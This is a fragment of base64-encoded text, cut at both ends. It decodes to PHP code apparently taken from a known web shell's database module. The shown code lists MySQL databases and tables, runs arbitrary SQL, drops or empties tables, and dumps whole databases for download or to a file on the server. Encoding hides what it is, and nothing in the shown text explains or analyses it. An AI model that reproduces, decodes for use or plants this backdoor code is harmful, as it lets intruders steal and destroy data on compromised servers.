KS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPgogICAgICA8P3BocAogICAgICAkcmVzdWx0ID0gbXlzcWxfbGlzdF90YWJsZXMoJHNxbF9kYik7CiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgICAgZWxzZSB7CiAgICAgICAgZWNobyAiLS0tWyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuIiZcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIjwvYj48L2E+IF0tLS08YnI+IjsKICAgICAgICAkYyA9IDA7CiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPismbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9CiAgICAgICAgaWYgKCEkYykge2VjaG8gIk5vIHRhYmxlcyBmb3VuZCBpbiBkYXRhYmFzZS4iO30KICAgICAgfQogICAgfQogICAgZWxzZSB7CiAgICAgID8+PHRkIHdpZHRoPSIxIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNxbF9zdXJsOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+CiAgICAgIDw/cGhwCiAgICAgICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICAgIGVsc2UgewogICAgICAgID8+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2VsZWN0IG5hbWU9InNxbF9kYiI+CiAgICAgICAgPD9waHAKICAgICAgICAkYyA9IDA7CiAgICAgICAgJGRicyA9ICIiOwogICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOwogICAgICAgIGVjaG8gJGRiczsKICAgICAgfQogICAgICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+CiAgICAgIDw/cGhwCiAgICB9CiAgICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIj4iOwogICAgJGRpcGxheSA9IFRSVUU7CiAgICBpZiAoJHNxbF9kYikgewogICAgICBpZiAoIWlzX251bWVyaWMoJGMpKSB7JGMgPSAwO30KICAgICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7CiAgICAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319CiAgICAgIGVjaG8gIjwvYj48L2NlbnRlcj4iOwogICAgICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7CiAgICAgIGlmICgkc3FsX3ggPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90YmwpO30gJHNxbF94ID0gImR1bXAiO30KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9CiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9CiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQogICAgICBlbHNlaWYgKCRzcWxfdGJsX3ggPT0gImluc2VydCIpIHsKICAgICAgICBpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpIHsKICAgICAgICAgICRrZXlzID0gIiI7CiAgICAgICAgICAkYWtleXMgPSBhcnJheV9rZXlzKCRzcWxfdGJsX2luc2VydCk7CiAgICAgICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQogICAgICAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQogICAgICAgICAgJHZhbHVlcyA9ICIiOwogICAgICAgICAgJGkgPSAwOwogICAgICAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9CiAgICAgICAgICBpZiAoIWVtcHR5KCR2YWx1ZXMpKSB7JHZhbHVlcyA9IHN1YnN0cigkdmFsdWVzLDAsc3RybGVuKCR2YWx1ZXMpLTIpO30KICAgICAgICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7CiAgICAgICAgICAkc3FsX3ggPSAicXVlcnkiOwogICAgICAgICAgJHNxbF90YmxfeCA9ICJicm93c2UiOwogICAgICAgIH0KICAgICAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKSB7CiAgICAgICAgICAkc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTsKICAgICAgICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOwogICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7CiAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOwogICAgICAgICAgJHNxbF94ID0gInF1ZXJ5IjsKICAgICAgICAgICRzcWxfdGJsX3ggPSAiYnJvd3NlIjsKICAgICAgICB9CiAgICAgIH0KICAgICAgaWYgKCRzcWxfeCA9PSAicXVlcnkiKSB7CiAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogICAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQogICAgICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9CiAgICAgIH0KICAgICAgaWYgKGluX2FycmF5KCRzcWxfeCwkYWN0cykpIHsKICAgICAgICA/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj4KICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPgogICAgICAgIDwvZm9ybT48L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPgogICAgICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZHVtcCI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZHVtcF9maWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOyA/PiI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPSJEdW1wIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT4KICAgICAgICA8P3BocAogICAgICAgIGlmICghZW1wdHkoJHNxbF94KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9CiAgICAgICAgaWYgKCRzcWxfeCA9PSAibmV3dGJsIikgewogICAgICAgICAgZWNobyAiPGI+IjsKICAgICAgICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7CiAgICAgICAgICAgIGVjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7CiAgICAgICAgICB9CiAgICAgICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICAgICAgfQogICAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJkdW1wIikgewogICAgICAgICAgaWYgKGVtcHR5KCRzdWJtaXQpKSB7CiAgICAgICAgICAgICRkaXBsYXkgPSBGQUxTRTsKICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3hcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsKICAgICAgICAgICAgZWNobyAiPGI+REI6PC9iPiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkc3FsX2RiKS4iXCI+PGJyPjxicj4iOwogICAgICAgICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7CiAgICAgICAgICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOwogICAgICAgICAgICBpZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30KICAgICAgICAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KICAgICAgICAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsKICAgICAgICAgICAgZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7CiAgICAgICAgICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKICAgICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MTwvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsKICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7CiAgICAgICAgICB9CiAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJGRpcGxheSA9IFRSVUU7CiAgICAgICAgICAgICRzZXQgPSBhcnJheSgpOwogICAgICAgICAgICAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7CiAgICAgICAgICAgICRzZXRbImRiIl0gPSAkc3FsX2RiOwogICAgICAgICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOwogICAgICAgICAgICAkc2V0WyJwcmludCJdID0gMDsKICAgICAgICAgICAgJHNldFsibmwyYnIiXSA9IDA7CiAgICAgICAgICAgICRzZXRbIiJdID0gMDsKICAgICAgICAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsKICAgICAgICAgICAgJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7CiAgICAgICAgICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQogICAgICAgICAgICAkcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsKICAgICAgICAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkgewogICAgICAgICAgICAgIEBvYl9jbGVhbigpOwogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7CiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsKICAgICAgICAgICAgICBlY2hvICRyZXQ7CiAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKSB7CiAgICAgICAgICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICAgICAgICAgICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9CiAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCRyZXQpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO30KICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRkaXBsYXkpIHsKICAgIGlmICgh